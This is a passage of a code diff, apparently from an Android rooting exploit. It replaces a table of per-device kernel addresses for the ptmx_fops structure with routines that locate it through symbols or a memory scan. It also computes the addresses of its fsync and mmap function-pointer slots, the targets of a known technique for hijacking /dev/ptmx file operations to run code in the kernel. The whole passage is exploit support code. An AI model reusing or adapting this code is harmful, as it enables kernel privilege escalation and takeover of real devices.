DEVICE_ISW12K_010_0_3000, 0xc0dc0a10 }, - { DEVICE_SCL21_KDALJD, 0xc0c71dc0 }, - - // ISW13F: Fujitsu added a method in struct file_operations - { DEVICE_ISW13F_V69R51I, 0xc09fc5fc + 4 }, - - { DEVICE_IS17SH_01_00_04, 0xc0edae90 }, - { DEVICE_SONYTABLET_S_RELEASE5A, 0xc06e4d18 }, - { DEVICE_SONYTABLET_P_RELEASE5A, 0xc06e6da0 }, - { DEVICE_SH04E_01_00_02, 0xc0eed190 }, - { DEVICE_SH04E_01_00_03, 0xc0eed190 }, - { DEVICE_SO01E_9_1_C_0_473, 0xc0d03208 }, - { DEVICE_SO04D_7_0_D_1_137, 0xc0c9d8a0 }, - { DEVICE_SOL21_9_1_D_0_395, 0xc0d030c8 }, - { DEVICE_HTL21_1_29_970_1, 0xc0d1d944 }, - { DEVICE_HTL22_1_05_970_1, 0xc0df467c }, - { DEVICE_HTL22_1_07_970_4, 0xc0df52bc }, - { DEVICE_HTX21_1_20_971_1, 0xc0ccc0b4 }, - { DEVICE_LT26W_1265_3909_6_2_B_0_200, 0xc0cc3dc0 }, - { DEVICE_LT26I_1257_8080_6_2_B_0_211, 0xc0cc37e8 }, - { DEVICE_C6603_1269_5309_10_1_1_A_1_307, 0xc0d37488 }, - { DEVICE_C5302_1272_1092_12_0_A_1_284, 0xc0e3bed8 }, - { DEVICE_N05E_A1000311, 0xc0f58700 }, -}; - -static int n_supported_devices = sizeof(supported_devices) / sizeof(supported_devices[0]); - -unsigned long int -get_ptmx_fops_address(void) +void *ptmx_fops; +unsigned long int ptmx_fops_mmap_address; +unsigned long int ptmx_fops_fsync_address; + +bool +setup_ptmx_fops_address(void) { - int i; - device_id_t device_id; + if (ptmx_fops) { + return true; + } + + ptmx_fops = (void *)device_get_symbol_address(DEVICE_SYMBOL(ptmx_fops)); + + if (!ptmx_fops && kallsyms_exist()) { + ptmx_fops = kallsyms_get_symbol_address("ptmx_fops"); + } + + return !!ptmx_fops; +} + +bool +setup_ptmx_fops_mmap_address(void) +{ + if (!ptmx_fops) { + setup_ptmx_fops_address(); + if (!ptmx_fops) { + return false; + } + } - device_id = detect_device(); + ptmx_fops_mmap_address = (unsigned long int)ptmx_fops + 0x28; + return true; +} - for (i = 0; i < n_supported_devices; i++) { - if (supported_devices[i].device_id == device_id) { - return supported_devices[i].ptmx_fops_address; +bool +setup_ptmx_fops_fsync_address(void) +{ + if (!ptmx_fops) { + setup_ptmx_fops_address(); + if (!ptmx_fops) { + return false; } } - if (kallsyms_exist()) { - unsigned long int address; + ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38; + return true; +} + +bool +setup_ptmx_fops_address_in_memory(void *mem, size_t length, find_ptmx_fops_hint_t *hint) +{ + int i; + + for (i = 0x24; i < length - 0x40; i += 4) { + unsigned long int *address = mem + i; + + if (address[2] != hint->ptmx_open_address) { + continue; + } + + if (address[4] != hint->tty_release_address) { + continue; + } - address = kallsyms_get_symbol_address("ptmx_fops"); - if (address) { - return address; + if (address[7] != hint->tty_fasync_address) { + continue; } + + ptmx_fops = (void *)convert_to_kernel_address(address, mem) - 0x24; + return true; } - print_reason_device_not_supported(); - return 0; + return false; } diff --git a/ptmx.h b/ptmx.h index 84987c4..2240445 100644 --- a/ptmx.h +++ b/ptmx.h @@ -18,9 +18,27 @@ #ifndef PTMX_H #define PTMX_H +#include +#include + #define PTMX_DEVICE "/dev/ptmx" -unsigned long int get_ptmx_fops_address(void); +typedef struct _find_ptmx_fops_hint_t { + unsigned long int ptmx_open_address; + unsigned long int tty_release_address; + unsigned long int tty_fasync_address; +} find_ptmx_fops_hint_t; + +extern bool setup_ptmx_fops_address(void); +extern bool setup_ptmx_fops_mmap_address(void); +extern bool setup_ptmx_fops_fsync_address(void); + +extern bool setup_ptmx_fops_address_in_memory(void *mem, size_t length, + find_ptmx_fops_hint_t *hint); + +extern void *ptmx_fops; +extern unsigned long int ptmx_fops_mmap_address; +extern unsigned long int ptmx_fops_fsync_address; #endif /* PTMX_H */ /*